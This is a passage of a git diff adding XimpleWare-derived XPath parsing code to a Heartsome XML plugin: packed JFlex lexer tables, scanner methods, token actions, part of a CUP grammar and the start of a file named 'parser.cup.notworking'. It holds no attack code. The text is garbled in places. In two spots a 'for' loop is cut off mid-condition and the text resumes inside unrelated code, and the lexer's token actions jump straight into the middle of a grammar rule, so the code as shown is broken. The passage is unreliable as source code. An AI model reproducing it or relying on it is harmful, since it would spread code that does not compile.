"\1\2\1\52\2\2\16\0\10\2\1\0\13\2\1\u01fe"+ + "\4\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\4\2\1\u01ff\3\2\1\0\6\2\1\u0200\11\2\3\0"+ + "\1\u01ee\7\0\1\u01ef\45\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\3\2\1\u0201\4\2\1\0\20\2\3\0"+ + "\1\u01f1\7\0\1\u01f2\45\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\7\2\1\u0202\1\0\20\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\7\2\1\u0203\1\0"+ + "\20\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\2\2\1\u0204\15\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\1\2\1\u0205\6\2\1\0"+ + "\20\2\2\0\1\2\1\0\1\2\1\52\1\u0206\1\2"+ + "\16\0\10\2\1\0\20\2\2\0\1\2\1\u0207\1\2"+ + "\1\52\2\2\3\0\1\u0208\12\0\10\2\1\0\20\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\1\2"+ + "\1\u0209\6\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\1\2\1\u020a\6\2\1\0\20\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\10\2"+ + "\1\0\6\2\1\u020b\11\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\13\2\1\u020c\4\2"+ + "\2\0\1\2\1\u020d\1\2\1\52\2\2\3\0\1\u020e"+ + "\12\0\10\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\4\2\1\u020f\2\2\1\u0210\1\0"+ + "\20\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\1\u0211\7\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\2\2\1\u0212\5\2\1\0\20\2"+ + "\2\0\1\2\1\0\1\2\1\52\1\u0213\1\2\16\0"+ + "\10\2\1\0\20\2\2\0\1\2\1\u0214\1\2\1\52"+ + "\2\2\3\0\1\u0215\12\0\10\2\1\0\20\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\10\2\1\0"+ + "\6\2\1\u0216\11\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\7\2\1\u0217\1\0\20\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\6\2\1\u0218\1\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\1\2\1\u0219\16\2\3\0\1\u0207"+ + "\7\0\1\u0208\45\0\1\2\1\u021a\1\2\1\52\2\2"+ + "\3\0\1\u021b\12\0\10\2\1\0\20\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\6\2\1\u021c\1\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\1\u021d\17\2\2\0\1\2\1\u021e"+ + "\1\2\1\u021f\2\2\16\0\10\2\1\0\20\2\3\0"+ + "\1\u020d\7\0\1\u020e\45\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\7\2\1\u0220\1\0\20\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\4\2\1\u0221\3\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\1\u0222\7\2\1\0\20\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\6\2\1\u0223"+ + "\11\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\15\2\1\u0224\2\2\3\0\1\u0214\7\0"+ + "\1\u0215\45\0\1\2\1\u0225\1\2\1\52\2\2\3\0"+ + "\1\u0226\12\0\10\2\1\0\20\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\5\2\1\u0227"+ + "\12\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\7\2\1\u0228\10\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\2\2\1\u0229"+ + "\15\2\3\0\1\u021a\7\0\1\u021b\45\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\10\2\1\0\7\2\1\u022a"+ + "\10\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\13\2\1\u022b\4\2\3\0\1\u021e\1\0"+ + "\1\u022c\53\0\1\127\1\0\1\127\1\u022d\2\127\14\0"+ + "\1\130\1\0\10\127\1\0\20\127\2\0\1\2\1\0"+ + "\1\2\1\52\1\u022e\1\2\16\0\10\2\1\0\20\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\3\2"+ + "\1\u022f\4\2\1\0\20\2\2\0\1\2\1\u0230\1\2"+ + "\1\52\2\2\3\0\1\u0231\12\0\10\2\1\0\20\2"+ + "\2\0\1\2\1\0\1\2\1\52\2\2\16\0\6\2"+ + "\1\u0232\1\2\1\0\20\2\2\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\16\2\1\u0233\1\2"+ + "\3\0\1\u0225\7\0\1\u0226\45\0\1\2\1\0\1\2"+ + "\1\52\2\2\16\0\10\2\1\0\4\2\1\u0234\13\2"+ + "\2\0\1\2\1\u0235\1\2\1\u0236\2\2\16\0\10\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\7\2\1\u0237\1\0\20\2\2\0\1\2\1\u0238"+ + "\1\2\1\u0239\2\2\16\0\10\2\1\0\20\2\2\0"+ + "\1\2\1\u023a\1\2\1\u023b\2\2\16\0\10\2\1\0"+ + "\20\2\5\0\1\u022d\53\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\3\2\1\u023c\14\2\2\0"+ + "\1\2\1\0\1\2\1\52\1\u023d\1\2\16\0\10\2"+ + "\1\0\20\2\3\0\1\u0230\7\0\1\u0231\45\0\1\2"+ + "\1\u023e\1\2\1\52\2\2\3\0\1\u023f\12\0\10\2"+ + "\1\0\20\2\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\5\2\1\u0240\2\2\1\0\20\2\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\10\2\1\0\2\2"+ + "\1\u0241\15\2\3\0\1\u0235\1\0\1\u0242\53\0\1\127"+ + "\1\0\1\127\1\u0243\2\127\14\0\1\130\1\0\10\127"+ + "\1\0\20\127\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\1\2\1\u0244\6\2\1\0\20\2\3\0\1\u0238"+ + "\1\0\1\u0245\53\0\1\127\1\0\1\127\1\u0246\2\127"+ + "\14\0\1\130\1\0\10\127\1\0\20\127\3\0\1\u023a"+ + "\1\0\1\u0247\53\0\1\127\1\0\1\127\1\u0248\2\127"+ + "\14\0\1\130\1\0\10\127\1\0\20\127\2\0\1\2"+ + "\1\0\1\2\1\52\2\2\16\0\7\2\1\u0249\1\0"+ + "\20\2\2\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\10\2\1\0\15\2\1\u024a\2\2\3\0\1\u023e\7\0"+ + "\1\u023f\45\0\1\2\1\0\1\2\1\52\2\2\16\0"+ + "\3\2\1\u024b\4\2\1\0\20\2\2\0\1\2\1\0"+ + "\1\2\1\52\2\2\16\0\1\2\1\u024c\6\2\1\0"+ + "\20\2\5\0\1\u0243\53\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\6\2\1\u024d\1\2\1\0\20\2\5\0"+ + "\1\u0246\56\0\1\u0248\53\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\6\2\1\u024e\11\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\10\2\1\0"+ + "\16\2\1\u024f\1\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\6\2\1\u0250\11\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\4\2\1\u0251"+ + "\3\2\1\0\20\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\10\2\1\0\7\2\1\u0252\10\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\10\2\1\0"+ + "\13\2\1\u0253\4\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\5\2\1\u0254\2\2\1\0\20\2\2\0"+ + "\1\2\1\u0255\1\2\1\52\2\2\3\0\1\u0256\12\0"+ + "\10\2\1\0\20\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\6\2\1\u0257\1\2\1\0\20\2\2\0"+ + "\1\2\1\u0258\1\2\1\52\2\2\3\0\1\u0259\12\0"+ + "\10\2\1\0\20\2\2\0\1\2\1\0\1\2\1\52"+ + "\2\2\16\0\1\2\1\u025a\6\2\1\0\20\2\2\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\3\2\1\u025b"+ + "\4\2\1\0\20\2\3\0\1\u0255\7\0\1\u0256\45\0"+ + "\1\2\1\u025c\1\2\1\52\2\2\3\0\1\u025d\12\0"+ + "\10\2\1\0\20\2\3\0\1\u0258\7\0\1\u0259\45\0"+ + "\1\2\1\0\1\2\1\52\2\2\16\0\10\2\1\0"+ + "\17\2\1\u025e\2\0\1\2\1\0\1\2\1\52\2\2"+ + "\16\0\10\2\1\0\6\2\1\u025f\11\2\3\0\1\u025c"+ + "\7\0\1\u025d\46\0\1\u025d\10\0\1\u0260\44\0\1\2"+ + "\1\u0261\1\2\1\52\2\2\3\0\1\u0262\12\0\10\2"+ + "\1\0\20\2\2\0\1\2\1\u0263\1\2\1\52\2\2"+ + "\3\0\1\u0264\12\0\10\2\1\0\20\2\3\0\1\u0261"+ + "\7\0\1\u0262\46\0\1\u0263\7\0\1\u0264\45\0"; + + private static int [] zzUnpackTrans() { + int [] result = new int[24816]; + int offset = 0; + offset = zzUnpackTrans(ZZ_TRANS_PACKED_0, offset, result); + return result; + } + + private static int zzUnpackTrans(String packed, int offset, int [] result) { + int i = 0; /* index in packed string */ + int j = offset; /* index in unpacked array */ + int l = packed.length(); + while (i < l) { + int count = packed.charAt(i++); + int value = packed.charAt(i++); + value--; + do result[j++] = value; while (--count > 0); + } + return j; + } + + + /* error codes */ + private static final int ZZ_UNKNOWN_ERROR = 0; + private static final int ZZ_NO_MATCH = 1; + private static final int ZZ_PUSHBACK_2BIG = 2; + + /* error messages for the codes above */ + private static final String ZZ_ERROR_MSG[] = { + "Unkown internal scanner error", + "Error: could not match input", + "Error: pushback value was too large" + }; + + /** + * ZZ_ATTRIBUTE[aState] contains the attributes of state aState + */ + private static final int [] ZZ_ATTRIBUTE = zzUnpackAttribute(); + + private static final String ZZ_ATTRIBUTE_PACKED_0 = + "\1\0\3\1\2\11\1\1\7\11\2\1\1\11\1\1"+ + "\2\11\10\1\1\11\14\1\1\0\3\1\4\11\42\1"+ + "\1\0\1\11\1\0\1\1\1\11\62\1\1\0\1\11"+ + "\2\1\1\0\1\11\12\1\1\0\1\11\36\1\2\0"+ + "\1\1\1\0\1\11\6\1\1\0\1\11\1\0\1\11"+ + "\3\1\2\0\1\1\1\0\1\11\2\0\31\1\1\11"+ + "\3\1\1\0\1\1\1\11\6\1\1\0\1\11\1\1"+ + "\1\11\11\1\1\0\1\11\1\1\2\0\6\1\1\0"+ + "\1\11\1\0\1\11\1\0\1\11\6\1\1\0\1\11"+ + "\5\1\1\0\1\1\1\11\3\1\2\0\6\1\1\0"+ + "\1\11\1\1\1\0\1\11\25\1\1\0\1\11\3\1"+ + "\3\0\1\11\1\1\1\0\1\11\4\1\1\0\1\11"+ + "\3\1\2\0\14\1\1\0\1\11\3\1\1\11\1\0"+ + "\1\11\7\1\1\0\1\11\1\1\2\0\1\1\2\0"+ + "\7\1\1\0\1\1\1\11\1\0\1\11\1\1\2\0"+ + "\3\1\1\0\1\11\2\1\2\0\1\1\2\0\1\1"+ + "\1\0\1\11\1\1\1\0\1\11\1\1\1\0\1\11"+ + "\3\1\1\0\1\1\1\11\1\0\1\11\5\1\1\0"+ + "\1\11\2\1\1\0\1\11\2\1\1\0\1\11\1\1"+ + "\1\0\1\11\7\1\1\0\1\11\34\1\1\0\1\1"+ + "\1\11\1\1\1\0\1\11\1\1\1\0\1\11\24\1"+ + "\1\0\1\11\4\1\1\0\1\11\5\1\1\0\1\11"+ + "\4\1\1\0\1\11\2\1\2\0\5\1\1\0\1\11"+ + "\5\1\1\0\1\11\2\1\1\0\1\11\3\1\2\0"+ + "\1\1\4\0\2\1\1\0\1\11\2\1\1\0\1\11"+ + "\1\1\1\0\1\11\1\0\1\11\14\1\1\0\1\11"+ + "\1\1\1\0\1\11\2\1\2\0\2\1\1\11\1\0"+ + "\1\11\1\0\1\11"; + + private static int [] zzUnpackAttribute() { + int [] result = new int[612]; + int offset = 0; + offset = zzUnpackAttribute(ZZ_ATTRIBUTE_PACKED_0, offset, result); + return result; + } + + private static int zzUnpackAttribute(String packed, int offset, int [] result) { + int i = 0; /* index in packed string */ + int j = offset; /* index in unpacked array */ + int l = packed.length(); + while (i < l) { + int count = packed.charAt(i++); + int value = packed.charAt(i++); + do result[j++] = value; while (--count > 0); + } + return j; + } + + /** the input device */ + private java.io.Reader zzReader; + + /** the current state of the DFA */ + private int zzState; + + /** the current lexical state */ + private int zzLexicalState = YYINITIAL; + + /** this buffer contains the current text to be matched and is + the source of the yytext() string */ + private char zzBuffer[] = new char[ZZ_BUFFERSIZE]; + + /** the textposition at the last accepting state */ + private int zzMarkedPos; + + /** the textposition at the last state to be included in yytext */ + private int zzPushbackPos; + + /** the current text position in the buffer */ + private int zzCurrentPos; + + /** startRead marks the beginning of the yytext() string in the buffer */ + private int zzStartRead; + + /** endRead marks the last character in the buffer, that has been read + from input */ + private int zzEndRead; + + /** number of newlines encountered up to the start of the matched text */ + private int yyline; + + /** the number of characters up to the start of the matched text */ + private int yychar; + + /** + * the number of characters from the last newline up to the start of the + * matched text + */ + private int yycolumn; + + /** + * zzAtBOL == true <=> the scanner is currently at the beginning of a line + */ + private boolean zzAtBOL = true; + + /** zzAtEOF == true <=> the scanner is at the EOF */ + private boolean zzAtEOF; + + /** denotes if the user-EOF-code has already been executed */ + private boolean zzEOFDone; + + /* user code: */ + + private Symbol sym(int sym) { + return new Symbol(sym); + } + + private Symbol sym(int sym, Object val) { + return new Symbol(sym, val); + } + + int isName; + NameType name; + FuncName fname; + Ntest ntest; + AxisType at; + int len; + String literal; + Double number; + int colonPosition; + + public int getOffset(){ + return yychar; + } + /* public void report_error(String message, Object info) { + //throw new XPathParseException("Syntax error during parsing"); + } + + public void report_fatal_error(String message, Object info) throws XPathParseException{ + throw new XPathParseExceptionHuge("Syntax error during parsing: "+ message); + } + + public void syntax_error(Symbol cur_token) { + + } + + public void unrecovered_syntax_error(Symbol cur_token) throws XPathParseException{ + throw new XPathParseExceptionHuge("XPath Syntax error: "+cur_token); + }*/ + + + + /** + * Creates a new scanner + * There is also a java.io.InputStream version of this constructor. + * + * @param in the java.io.Reader to read input from. + */ + Yylex(java.io.Reader in) { + isName = 1; + colonPosition = -1; + this.zzReader = in; + } + + /** + * Creates a new scanner. + * There is also java.io.Reader version of this constructor. + * + * @param in the java.io.Inputstream to read input from. + */ + Yylex(java.io.InputStream in) { + this(new java.io.InputStreamReader(in)); + } + + /** + * Unpacks the compressed character translation table. + * + * @param packed the packed character translation table + * @return the unpacked character translation table + */ + private static char [] zzUnpackCMap(String packed) { + char [] map = new char[0x10000]; + int i = 0; /* index in packed string */ + int j = 0; /* index in unpacked array */ + while (i < 138) { + int count = packed.charAt(i++); + char value = packed.charAt(i++); + do map[j++] = value; while (--count > 0); + } + return map; + } + + + /** + * Refills the input buffer. + * + * @return false, iff there was new input. + * + * @exception java.io.IOException if any I/O-Error occurs + */ + private boolean zzRefill() throws java.io.IOException { + + /* first: make room (if you can) */ + if (zzStartRead > 0) { + System.arraycopy(zzBuffer, zzStartRead, + zzBuffer, 0, + zzEndRead-zzStartRead); + + /* translate stored positions */ + zzEndRead-= zzStartRead; + zzCurrentPos-= zzStartRead; + zzMarkedPos-= zzStartRead; + zzPushbackPos-= zzStartRead; + zzStartRead = 0; + } + + /* is the buffer big enough? */ + if (zzCurrentPos >= zzBuffer.length) { + /* if not: blow it up */ + char newBuffer[] = new char[zzCurrentPos*2]; + System.arraycopy(zzBuffer, 0, newBuffer, 0, zzBuffer.length); + zzBuffer = newBuffer; + } + + /* finally: fill the buffer with new input */ + int numRead = zzReader.read(zzBuffer, zzEndRead, + zzBuffer.length-zzEndRead); + + if (numRead < 0) { + return true; + } + else { + zzEndRead+= numRead; + return false; + } + } + + + /** + * Closes the input stream. + */ + public final void yyclose() throws java.io.IOException { + zzAtEOF = true; /* indicate end of file */ + zzEndRead = zzStartRead; /* invalidate buffer */ + + if (zzReader != null) + zzReader.close(); + } + + + /** + * Resets the scanner to read from a new input stream. + * Does not close the old reader. + * + * All internal variables are reset, the old input stream + * cannot be reused (internal buffer is discarded and lost). + * Lexical state is set to ZZ_INITIAL. + * + * @param reader the new input stream + */ + public final void yyreset(java.io.Reader reader) { + zzReader = reader; + zzAtBOL = true; + zzAtEOF = false; + zzEndRead = zzStartRead = 0; + zzCurrentPos = zzMarkedPos = zzPushbackPos = 0; + yyline = yychar = yycolumn = 0; + zzLexicalState = YYINITIAL; + } + + + /** + * Returns the current lexical state. + */ + public final int yystate() { + return zzLexicalState; + } + + + /** + * Enters a new lexical state + * + * @param newState the new lexical state + */ + public final void yybegin(int newState) { + zzLexicalState = newState; + } + + + /** + * Returns the text matched by the current regular expression. + */ + public final String yytext() { + return new String( zzBuffer, zzStartRead, zzMarkedPos-zzStartRead ); + } + + + /** + * Returns the character at position pos from the + * matched text. + * + * It is equivalent to yytext().charAt(pos), but faster + * + * @param pos the position of the character to fetch. + * A value from 0 to yylength()-1. + * + * @return the character at position pos + */ + public final char yycharat(int pos) { + return zzBuffer[zzStartRead+pos]; + } + + + /** + * Returns the length of the matched text region. + */ + public final int yylength() { + return zzMarkedPos-zzStartRead; + } + + + /** + * Reports an error that occured while scanning. + * + * In a wellformed scanner (no or only correct usage of + * yypushback(int) and a match-all fallback rule) this method + * will only be called with things that "Can't Possibly Happen". + * If this method is called, something is seriously wrong + * (e.g. a JFlex bug producing a faulty scanner etc.). + * + * Usual syntax/scanner level error handling should be done + * in error fallback rules. + * + * @param errorCode the code of the errormessage to display + */ + private void zzScanError(int errorCode) { + String message; + try { + message = ZZ_ERROR_MSG[errorCode]; + } + catch (ArrayIndexOutOfBoundsException e) { + message = ZZ_ERROR_MSG[ZZ_UNKNOWN_ERROR]; + } + + throw new Error(message); + } + + + /** + * Pushes the specified amount of characters back into the input stream. + * + * They will be read again by then next call of the scanning method + * + * @param number the number of characters to be read again. + * This number must not be greater than yylength()! + */ + public void yypushback(int number) { + if ( number > yylength() ) + zzScanError(ZZ_PUSHBACK_2BIG); + + zzMarkedPos -= number; + } + + + /** + * Contains user EOF-code, which will be executed exactly once, + * when the end of file is reached + */ + private void zzDoEOF() throws java.io.IOException { + if (!zzEOFDone) { + zzEOFDone = true; + yyclose(); + } + } + + + /** + * Resumes scanning until the next regular expression is matched, + * the end of input is encountered or an I/O-Error occurs. + * + * @return the next token + * @exception java.io.IOException if any I/O-Error occurs + */ + public java_cup.runtime.Symbol next_token() throws java.io.IOException, XPathParseExceptionHuge { + int zzInput; + int zzAction; + + // cached fields: + int zzCurrentPosL; + int zzMarkedPosL; + int zzEndReadL = zzEndRead; + char [] zzBufferL = zzBuffer; + char [] zzCMapL = ZZ_CMAP; + + int [] zzTransL = ZZ_TRANS; + int [] zzRowMapL = ZZ_ROWMAP; + int [] zzAttrL = ZZ_ATTRIBUTE; + + while (true) { + zzMarkedPosL = zzMarkedPos; + + yychar+= zzMarkedPosL-zzStartRead; + + zzAction = -1; + + zzCurrentPosL = zzCurrentPos = zzStartRead = zzMarkedPosL; + + zzState = zzLexicalState; + + + zzForAction: { + while (true) { + + if (zzCurrentPosL < zzEndReadL) + zzInput = zzBufferL[zzCurrentPosL++]; + else if (zzAtEOF) { + zzInput = YYEOF; + break zzForAction; + } + else { + // store back cached positions + zzCurrentPos = zzCurrentPosL; + zzMarkedPos = zzMarkedPosL; + boolean eof = zzRefill(); + // get translated positions and possibly new buffer + zzCurrentPosL = zzCurrentPos; + zzMarkedPosL = zzMarkedPos; + zzBufferL = zzBuffer; + zzEndReadL = zzEndRead; + if (eof) { + zzInput = YYEOF; + break zzForAction; + } + else { + zzInput = zzBufferL[zzCurrentPosL++]; + } + } + int zzNext = zzTransL[ zzRowMapL[zzState] + zzCMapL[zzInput] ]; + if (zzNext == -1) break zzForAction; + zzState = zzNext; + + int zzAttributes = zzAttrL[zzState]; + if ( (zzAttributes & 1) == 1 ) { + zzAction = zzState; + zzMarkedPosL = zzCurrentPosL; + if ( (zzAttributes & 8) == 8 ) break zzForAction; + } + + } + } + + // store back cached position + zzMarkedPos = zzMarkedPosL; + + switch (zzAction < 0 ? zzAction : ZZ_ACTION[zzAction]) { + case 57: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CONTAINS; + fname = new FuncName(); + fname.i = FuncName.CONTAINS; + return sym(FNAME,fname); + } + case 91: break; + case 74: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.STRING_LENGTH; + fname = new FuncName(); + fname.i = FuncName.STRING_LENGTH; + return sym(FNAME,fname); + } + case 92: break; + case 55: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.POSITION; + fname = new FuncName(); + fname.i = FuncName.POSITION; + return sym(FNAME,fname); + } + case 93: break; + case 28: + { isName = 0; + len = yytext().length(); + name = new NameType(); + if (!XMLChar.isNCNameStartChar(yytext().charAt(0))) + throw new XPathParseExceptionHuge("Invalid char in name token: "+yytext()+ "@position 0"); + + for(int i=1;i "+ Double.parseDouble(yytext())); + return sym(NUMBER,number); + } + case 123: break; + case 45: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.FLOOR; + fname = new FuncName(); + fname.i = FuncName.FLOOR; + return sym(FNAME,fname); + } + case 124: break; + case 34: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUM; + fname = new FuncName(); + fname.i = FuncName.SUM; + return sym(FNAME,fname); + } + case 125: break; + case 30: + { if (isName == 0) { + isName = 1 ; + return sym(MOD); + } else { + isName = 0; + name = new NameType(); + name.qname = "mod"; + //System.out.println("returned a NAME "+yytext()); + return sym(NAME,name); + } + } + case 126: break; + case 29: + { if (isName == 0 ) { + isName = 1 ; + return sym(DIV); + } else { + isName = 0; + name = new NameType(); + name.qname = "div"; + return sym(NAME,name); + } + } + case 127: break; + case 27: + { isName = 0; + len = yytext().length(); + literal = yytext().substring(1, len-1); + return sym(LITERAL,literal); + } + case 128: break; + case 19: + { isName = 1 ; + //System.out.println("SLASH returned "); + return sym(SLASH); + } + case 129: break; + case 32: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ABS; + fname = new FuncName(); + fname.i = FuncName.ABS; + return sym(FNAME,fname); + } + case 130: break; + case 15: + { isName = 1 ; return sym(LT); + } + case 131: break; + case 90: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAMESPACE_URI_FROM_QNAME; + fname = new FuncName(); + fname.i = FuncName.NAMESPACE_URI_FROM_QNAME; + return sym(FNAME,fname); + } + case 132: break; + case 25: + { isName = 1 ; + //System.out.println("DSLASH returned "); + return sym(DSLASH); + } + case 133: break; + case 4: + { throw new XPathParseExceptionHuge("Invalid char in XPath Expression"); + } + case 134: break; + case 88: + { isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.PROCESSING_INSTRUCTION; + ntest.arg = null; + return sym(NTEST,ntest); + } + case 135: break; + case 13: + { isName = 0 ; return sym(RB); + } + case 136: break; + case 77: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUBSTRING_AFTER; + fname = new FuncName(); + fname.i = FuncName.SUBSTRING_AFTER; + return sym(FNAME,fname); + } + case 137: break; + case 38: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.TRUE; + fname = new FuncName(); + fname.i = FuncName.TRUE; + return sym(FNAME,fname); + } + case 138: break; + case 53: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CEILING; + fname = new FuncName(); + fname.i = FuncName.CEILING; + return sym(FNAME,fname); + } + case 139: break; + case 17: + { isName = 1; return sym(DOLLAR); + } + case 140: break; + case 61: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ENDS_WITH; + fname = new FuncName(); + fname.i = FuncName.ENDS_WITH; + return sym(FNAME,fname); + } + case 141: break; + case 86: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.LOCAL_NAME_FROM_QNAME; + fname = new FuncName(); + fname.i = FuncName.LOCAL_NAME_FROM_QNAME; + return sym(FNAME,fname); + } + case 142: break; + case 1: + { isName = 0; + name = new NameType(); + //name.qname = new String(yytext()); + //System.out.println("returned a NAME ==>" + yytext()); + //if (yytext().charAt(0) =='-'){ + // throw new XPathParseException("Invalid char in name token:"+yytext()); + //} + + name.qname = new String(yytext()); + if (!XMLChar.isNCNameStartChar(name.qname.charAt(0))) + throw new XPathParseExceptionHuge("Invalid char in name token: "+yytext()+ "@position 0"); + + for(int i=1;i1)){ + Yylex scanner = (Yylex)parser.getScanner(); + throw new XPathParseExceptionHuge(as.getAxisString()+" axis can't operate on"+ + " node(), comment(), pi(), or text()", + scanner.getOffset()); + } + + RESULT.setNodeTest(nt); + RESULT.setPredicate(pl); + + //System.out.println(" Step 3 "); + + :} + | AbbreviatedStep:abs + {: RESULT = abs; + //System.out.println(" step 4"); + :} + ; + + +nodetest ::= NAME:n + {: RESULT = new NodeTest(); + RESULT.setTestType(NodeTest.NAMETEST); + RESULT.setNodeName(n.qname); + if (n.localname!=null){ + RESULT.setNodeNameNS(n.prefix,n.localname); + if (parser.nsHash==null || parser.nsHash.get(n.prefix) ==null) + throw new XPathParseExceptionHuge("No URL found for prefix:"+n.prefix); + RESULT.URL = (String) parser.nsHash.get(n.prefix); + } + :} + | NTEST:n2 + {: RESULT = new NodeTest(); + RESULT.setTestType(n2.i); + :} + ; + +PredicateList ::= + {: RESULT = null; + :} + | Predicate:p PredicateList:pl + {: p.nextP = pl; + RESULT = p; + :} + ; + +AxisSpecifier ::= AXISNAME:an + {: RESULT = an; :} + | AbbreviatedAxisSpecifier:aas + {: RESULT = aas; :} + ; + +AbbreviatedAxisSpecifier ::= + {: RESULT = new AxisType(); RESULT.i = AxisType.CHILD; :} + | AT + {: RESULT = new AxisType(); RESULT.i = AxisType.ATTRIBUTE; :} + ; + +AbbreviatedStep ::= DOT + {: RESULT = new Step(); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setAxisType(AxisType.SELF); + RESULT.setNodeTest(parser.tempNt); + :} + + | DDOT + {: RESULT = new Step(); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setAxisType(AxisType.PARENT); + RESULT.setNodeTest(parser.tempNt); + // System.out.println("result " + RESULT.toString()); + :} + ; + +AbbreviatedAbsoluteLocationPath ::= DSLASH RelativeLocationPath:rlp + {: + RESULT = new Step(); + RESULT.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setNodeTest(parser.tempNt); + RESULT.setNextStep(rlp); + rlp.setPrevStep(RESULT); + :} + ; + +AbbreviatedRelativeLocationPath ::= Step:s DSLASH RelativeLocationPath:rlp + {: RESULT = new Step(); + RESULT.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setNodeTest(parser.tempNt); + s.setNextStep(RESULT); + RESULT.setPrevStep(s); + RESULT.setNextStep(rlp); + rlp.setPrevStep(RESULT); + RESULT = s; + :} + ; + + +Predicate ::= LB Expr:e RB + {: RESULT = new Predicate(); + RESULT.expr= e; + :} + ; + + +VariableReference ::= DOLLAR NAME:n {: + if (parser.symbolHash.get(n.qname)==null) + throw new XPathParseExceptionHuge("variableExpression not declared ==> $"+n.qname); + RESULT = new VariableExpr(n.qname, (Expr)parser.symbolHash.get(n.qname)); + :} + ; + +FunctionName ::= FNAME :fn + {: RESULT = fn; :} + ; diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/parser.cup.notworking b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/parser.cup.notworking new file mode 100644 index 0000000..bbb482b --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/parser.cup.notworking @@ -0,0 +1,373 @@ +/* + * Copyright (C) 2002-2011 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.xpath; +import java_cup.runtime.*; +import com.ximpleware.*; +//import com.ximpleware.xpath.*; +parser code {: + + Step tempStep; + 